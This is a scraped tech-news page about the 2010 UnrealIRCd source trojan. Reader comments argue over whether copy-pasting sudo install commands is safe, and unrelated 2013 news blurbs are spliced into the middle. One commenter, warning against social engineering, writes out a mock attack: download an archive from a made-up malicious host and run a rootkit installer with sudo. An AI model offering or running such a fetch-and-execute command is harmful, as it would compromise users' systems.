Linked by Jordan Spencer Cunningham on Mon 14th Jun 2010 23:58 UTC
Recently, the Linux version of UnrealIRCd was discovered to have had a Trojan worm its way into the source code. Even more embarrassing for the developers of Unreal is that the Trojan's been holding open the backdoor in the source code since November of 2009-- not very recently. And, of course, bloggers and press in general are taking the opportunity of another breach in Linux security to point out doomsday devices that don't really exist.
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RE[4]: Comment by lemur2
by lemur2 on Tue 15th Jun 2010 07:28
in reply to "RE[3]: Comment by lemur2"
Member since:2007-02-17
"For example, if you want a version of Firefox-3.7 that includes WebM, right now, today, then here you go: https://launchpad.net/~ubuntu-mozilla-daily/+archive/ppa Open a terminal and enter: sudo add-apt-repository ppa:ubuntu-mozilla-daily/ppa sudo apt-get update sudo apt-get install firefox-3.7 This will install a GPG signed version of Mozilla 3.7 nightly build on your Ubuntu system, using the apt package manager, independent of Ubuntu's repositories. The end user does not have to know anything about GPG. The first command, add-apt-repository, gets a key for the ppa from a trusted keyserver.
No, but they'd have to know about sudo, apt-get, package managers, and key servers. Somehow, that doesn't seem a whole lot less complicated. " Not at all. Users need to know only:
(1) How to "Open a terminal",
(2) How to highlight a line of text from this very web page as they are reading it,
(3) How to paste that copied text into the terminal application (hint: middle-click anywhere in the terminal window area)
(4) their password
They do that three times, once for each line (actually, they need to know their password only for the first line), and they are done.
It sin't hard. Select each line of text, one line at a time, in order, for the following three lines:
sudo add-apt-repository ppa:ubuntu-mozilla-daily/ppa
sudo apt-get update
sudo apt-get install firefox-3.7
sudo apt-get update
sudo apt-get install firefox-3.7
Then middle-click anywhere in the terminal window after each selection has been made.
Users don't even need to know how to type (except for their password, once only).
There is also a GUI way to do the same thing using Synaptic, but that is actually harder to describe on a text-based web forum such as this, and harder for users to actually carry out.
Anyway, had the vendors of the app which is the subject of this thread simply opened a launchpad.net account and copied their source tree there, this trojan would have been avoided for Ubuntu/Kubuntu users.
Edited 2010-06-15 07:36 UTC
Member since:2005-07-06
Are you seriously suggesting that copy&pasting commands that one doesn't understand from some web site is a safe thing to do? If you're training users to just blindly type 'sudo' commands without understanding what they do, you're creating a large opportunity for social engineering:
To get the latest Firefox with instant Facebook updates, type these commands:
1. wget http://thehax0rzplaze.com/infectedFireFox.tgz
2. tar zxvf infectedFireFox.tgz
3. sudo infectedFireFox/installRootKit.sh
then type your password.
Edited 2010-06-15 09:35 UTC
News
Linked by Thom Holwerda on 06/18/13 22:33 UTC
Official Apple statement on PRISM and privacy: "Regardless of the circumstances, our Legal team conducts an evaluation of each request and, only if appropriate, we retrieve and deliver the narrowest possible set of information to the authorities. In fact, from time to time when we see inconsistencies or inaccuracies in a request, we will refuse to fulfill it." This is basically Apple re-publishing their earlier statement in a more official manner. You either believe it, or you don't.
Linked by Anonymous on 06/18/13 22:26 UTC
The open source Contiki operating system and its commercial Thingsquare distribution are making strides towards the connected home. According to a Computerworld article, a new LED light bulb manufacturer is putting small computers into their light bulbs. Each computer runs the Contiki OS, which gives each bulb an IP address and allows them to be controlled with a smartphone application. To connect the bulbs to the application, the bulbs use both Wi-Fi and the much lower power IEEE 802.15.4 mesh technology.
Linked by Thom Holwerda on 06/18/13 22:25 UTC
"Google asked the secretive Foreign Intelligence Surveillance Court on Tuesday to ease long-standing gag orders over data requests it makes, arguing that the company has a constitutional right to speak about information it's forced to give the government. The legal filing, which cites the First Amendment's guarantee of free speech, is the latest move by the California-based tech giant to protect its reputation in the aftermath of news reports about sweeping National Security Agency surveillance of Internet traffic." Draining the ditch after the cow has drowned in it.
Linked by Thom Holwerda on 06/18/13 17:45 UTC
"I can't find one person who has been using the Nexus 7 for an extended period of time, and hasn't seen a massive downgrade in performance. Just what kind of downgrade are we talking here? I cannot pick up my Nexus 7 without experiencing problems like a lag of ten seconds, or more, just to rotate the display; touches refusing to acknowledged; stuttering notification panel actions; and unresponsive apps." Fully and utterly agreed. My Nexus 7 was blazing-fast and awesome for a few months, and at some point, it just started sucking. Just like that. I've tried loads of ROMs, and nothing helps.
Linked by Thom Holwerda on 06/18/13 17:32 UTC, submitted by poundsmack
A new release of the hobby operating system MenuetOS! The release notes are a bit non-descript, but you'll have to take what you can get: "updates and improvements (picview, httpc, ehci, ...)".
Linked by Thom Holwerda on 06/17/13 17:58 UTC
"The Internet is one of the most transformative technologies of our lifetimes. But for 2 out of every 3 people on earth, a fast, affordable Internet connection is still out of reach. And this is far from being a solved problem. There are many terrestrial challenges to Internet connectivity - jungles, archipelagos, mountains. There are also major cost challenges. Right now, for example, in most of the countries in the southern hemisphere, the cost of an Internet connection is more than a month's income. Solving these problems isn't simply a question of time: it requires looking at the problem of access from new angles. So today we're unveiling our latest moonshot from Google[x]: balloon-powered Internet access." Insane.
Linked by Thom Holwerda on 06/17/13 17:52 UTC
"MineAssemble is a tiny bootable Minecraft clone written partly in x86 assembly. I made it first and foremost because a university assignment required me to implement a game in assembly for a computer systems course. Because I had never implemented anything more complex than a 'Hello World' bootloader before, I decided I wanted to learn about writing my own kernel code at the same time. Note that the goal of this project was not to write highly efficient hand-optimized assembly code, but rather to have fun and write code that balances readability and speed. This is primarily accomplished by proper commenting and consistent code structuring." Just cool.
Linked by Thom Holwerda on 06/14/13 21:03 UTC
Jon Rubinstein, former CEO of Palm: "Well, I'm not sure I would have sold the company to HP. That's for sure. Talk about a waste. Not that I had any choice because when you sell a company you don't get to decide that. Obviously, the board and shareholders decide that. If we had known they were just going to shut it down and never really give it a chance to flourish, what would have been the point of selling the company? I think the deal we had with Verizon really hurt us, but who knew that at the time? These things are all hindsight."
Linked by Thom Holwerda on 06/14/13 20:46 UTC
"And so it is with Dell's Alienware X51 R2, a small form factor gaming PC in console digs. It's shaped similar to Microsoft's Xbox 360 Slim, and though it's slightly larger than either a 360 or PlayStation 3, the X51 R2 would be right at home in a living room setting nestled next to a large screen TV. Indeed, it's adept at running Steam's Big Picture mode, and if your primary objective is to play games in the living room, go ahead and consider the X51 R2 a hybrid game console." This is obviously not the only machine like this - still, these are very valid console alternatives even for those that don't like being hunched over with a cramped WASD-claw. Also, PC gamers among us: could you get away with the $699 model for gaming?
Linked by Thom Holwerda on 06/14/13 17:32 UTC
From Bloomberg: "Microsoft, the world's largest software company, provides intelligence agencies with information about bugs in its popular software before it publicly releases a fix, according to two people familiar with the process. That information can be used to protect government computers and to access the computers of terrorists or military foes." The lid has officially been blown off.More News »
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Member since:
2005-11-13
I didn't say they were. Only thing I am saying is that, if you stick to your distro's repository, they are ultimately in control over what gets installed on your system. This is not really any different than the Apple app store.. Sure, their motives might be different (whereas Apple may decide a particular app goes against their profit motive, the Distro Gods may decide that the app is just not popular enough to worry about), but the choice of what you can install is still in the hands of somebody else, unless you seek outside sources, in which case you're opening yourself up to security issues.
https://launchpad.net/~ubuntu-mozilla-daily/+archive/ppa
Open a terminal and enter:
sudo add-apt-repository ppa:ubuntu-mozilla-daily/ppa
sudo apt-get update
sudo apt-get install firefox-3.7
This will install a GPG signed version of Mozilla 3.7 nightly build on your Ubuntu system, using the apt package manager, independent of Ubuntu's repositories. The end user does not have to know anything about GPG. The first command, add-apt-repository, gets a key for the ppa from a trusted keyserver.
No, but they'd have to know about sudo, apt-get, package managers, and key servers. Somehow, that doesn't seem a whole lot less complicated.